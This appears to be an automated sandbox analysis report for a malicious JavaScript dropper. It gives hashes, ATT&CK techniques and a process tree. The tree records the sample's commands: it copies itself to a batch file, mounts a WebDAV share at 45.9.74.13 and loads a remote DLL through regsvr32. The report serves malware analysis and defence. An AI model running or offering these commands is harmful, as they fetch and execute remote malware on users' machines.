d6420262c7975b3fbc0d115d731459aa1da43dab6ceafd1e79127174936761fb

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 17:42

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General

Target

1100085371546531247.js
Size

5KB
MD5

17130fbc43f0f0f9536d5f5e199843b7
SHA1

5573d167053874f568f410d99ac8e6e5ea4005de
SHA256

d6420262c7975b3fbc0d115d731459aa1da43dab6ceafd1e79127174936761fb
SHA512

efdd0ba4715904a1fd4edce10718c67787fa3e039646c874c78ed86bef47435d1760da0b032c0046f1d3b2d1b64779d3b3db0b8b94925c2ce06830dab928da00
SSDEEP

96:1oxCcj4Bbt3kAZRS+Eot5ToNIM3fSMeuI0etI8hZSI0naQkV:W63dd5Oh/DkV

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2912	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 2972	3008	wscript.exe	29
PID 3008 wrote to memory of 2972	3008	wscript.exe	29
PID 3008 wrote to memory of 2972	3008	wscript.exe	29
PID 2972 wrote to memory of 1408	2972	cmd.exe	31
PID 2972 wrote to memory of 1408	2972	cmd.exe	31
PID 2972 wrote to memory of 1408	2972	cmd.exe	31
PID 2972 wrote to memory of 2912	2972	cmd.exe	32
PID 2972 wrote to memory of 2912	2972	cmd.exe	32
PID 2972 wrote to memory of 2912	2972	cmd.exe	32
PID 2972 wrote to memory of 2912	2972	cmd.exe	32
PID 2972 wrote to memory of 2912	2972	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1100085371546531247.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1100085371546531247.js" "C:\Users\Admin\\otdiyo.bat" && "C:\Users\Admin\\otdiyo.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1408
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\294.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\otdiyo.bat

Filesize
5KB

MD5
17130fbc43f0f0f9536d5f5e199843b7

SHA1
5573d167053874f568f410d99ac8e6e5ea4005de

SHA256
d6420262c7975b3fbc0d115d731459aa1da43dab6ceafd1e79127174936761fb

SHA512
efdd0ba4715904a1fd4edce10718c67787fa3e039646c874c78ed86bef47435d1760da0b032c0046f1d3b2d1b64779d3b3db0b8b94925c2ce06830dab928da00

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